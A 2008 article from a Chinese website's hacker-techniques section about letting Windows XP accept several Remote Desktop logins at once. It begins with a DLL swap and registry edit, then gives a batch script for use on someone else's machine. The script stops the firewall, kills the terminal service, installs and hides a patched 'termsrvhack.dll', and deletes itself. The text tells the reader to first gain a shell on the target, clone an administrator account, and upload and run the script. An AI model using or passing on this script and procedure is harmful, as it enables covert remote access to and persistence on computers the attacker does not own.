· 电信镜像 · 网通镜像 · 铁通镜像 · ·
 | 网站首页 | 文章中心 | 软件下载 | 电影下载 | 经典名曲 | 图片中心 | 在线电视 | 网络电台 | 今日更新 | 
您现在的位置: 皮皮网络 >> 文章中心 >> 黑客技术 >> 正文
  天气预报:
皮皮网络
让开了3389的XP系统支持多人同时登陆
责任编辑:乐乐   来源:互联网    添加时间:2008-10-14 22:21:31

对于开了3389的xp系统 基本都不支持同时登陆,正常都会被弹出来.下面简单讲下如何支持同时登陆.

第一步:首先是在Windows XP上安装SP2正式版,按照常规方式安装即可,这里不再赘述。 

第二步:准备一份版本较早的SP2终端服务器软件(据说从Build 2082开始该功能就被禁止了,所以最好使用之前版本),中文SP2测试版较难找到,我用的是英文版Build 2055,运行之后没有发现任何问题。你可以从http://www.msfn.org/board/index.php?s=85a71ca2987c89886c99733154ae685f&act" target="_blank">http://www.msfn.org/board/index.php?s=8 ... c99733154ae685f&act 
=Attach&type=post&id=161513下载Build 2055的终端服务器执行文件TermSrv.DLL。从这个链接下载来的是一个扩展名为.DL_的文件,你可以把它的扩展名改成ZIP文件,然后用WinRAR解开它。 

第三步:接下来,以安全模式启动Windows XP,如果有多个操作系统,可以启动另一个能访问Windows XP系统分区的系统(除非安装了第三方工具软件,否则Windows 98不能访问NTFS分区,因此Windows 98可能没用)。然后,把Windows XP里面SP2正式版的所有TermSrv.DLL备份一下,在所有TermSrv.DLL文件出现的位置,用Build 2055版本的TermSrv.DLL覆盖。通常,TermSrv.DLL至少出现在二个位置,分别是:\Windows\system32,\Windows\system32\dllcache。凡是原来有TermSrv.DLL的地方,就用Build 2055版本的TermSrv.DLL覆盖。 

第四步:以正常模式启动Windows XP,如果系统的文件保护功能提示说TermSrv.DLL文件已被修改,并询问是否要复原,选择否。 

第五步:最后还要修改一下注册表,增加终端服务器的多用户许可。鉴于修改注册表比较麻烦而且容易出错,你可以用下面的批命令修改注册表: 

  @echo off 
  setlocal 
  set regkey="HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" 
  reg add %regkey% /v EnableConcurrentSessions /T REG_DWORD /D 1 /f 
  endlocal 

  将上述内容保存为一个批命令文件,如AA.BAT,双击执行一下就可以了。 

我不推荐这种做法 ,太烦锁了,而且还要让系统重起过。我们可以写一个批处理文件使系统不用重起就实现XP多用户登陆,首先我们先来了解一个对注册表操作的命令参数: 

REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] 

KeyName [\\Machine\]FullKey 
      Machine 远程机器名 - 忽略默认到当前机器。远程机器上 
            只有 HKLM 和 HKU。 
      FullKey ROOTKEY\SubKey 
      ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] 
      SubKey   所选 ROOTKEY 下注册表项的完整名。 

/v     所选项之下要添加的值名。 

/ve     为注册表项添加空白值名(默认)。 

/t     RegKey 数据类型 
      [ REG_SZ   | REG_MULTI_SZ | REG_EXPAND_SZ | 
        REG_DWORD | REG_BINARY   | REG_NONE     ] 
      如果忽略,则采用 REG_SZ。 

/s     指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符 
      如果忽略,则将 "\0" 用作分隔符。 

/d     要分配给添加的注册表 ValueName 的数据。 

/f     不用提示就强行覆盖现有注册表项。 

例如: 

REG ADD \\ABC\HKLM\Software\MyCo 
  添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo 

REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead 
  添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead) 

REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail 
  添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: fax\0mail\0\0) 

REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^% 
  添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%) 
  注意: 在扩充字符串中使用插入符号 ( ^ ) 

为了让系统不重起,我们可以用shutdown -a 这个命令。 
根据上面找来的资料,我们可以编写一个批处理,实现XP系统多用户登陆而又不用重起系统。 
代码如下: 

@echo off 
@net stop sharedaccess 
@ntsd -c q -p "pid" 
@reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f 
@reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 
@reg add HKLM\SYSTEM\CurrentControlSet\control\terminal" "server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f 
@reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\termsrvhack.dll /f 
@copy c:\termsrvhack.dll c:\windows\system32\dllcache\termsrvhack.dll 
@attrib +h +s +r c:\windows\system32\dllcache\termsrvhack.dll 
@copy c:\termsrvhack.dll c:\windows\system32\termsrvhack.dll 
@attrib +h +s +r c:\windows\system32\termsrvhack.dll 
@shutdown -a 
@del c:\termsrvhack.dll 
@net start termservice 
@del c:\3389.bat 

其中“pid"是要替换成TermService服务的PID号,可以用命令tasklist/svc命令得到。当然win2000和以下系统是没有tasklist命令的。 
具体的操作方法是 
先要得到对方的一个SHELL,然后在shell下用第三方软件打开终端服务,先不要改变默认的3389端口,不然要重起后才登陆,再建一个或克隆一个超级管理员用户。 
接下来把下载好的termsrvhack.dll和上面的批处理传到对方的C盘根目录下,然后在shell下运行此批处理。提示成功! 
最后打开登陆器,3389终端登陆! 

  • 上一篇文章:

  • 下一篇文章: 没有了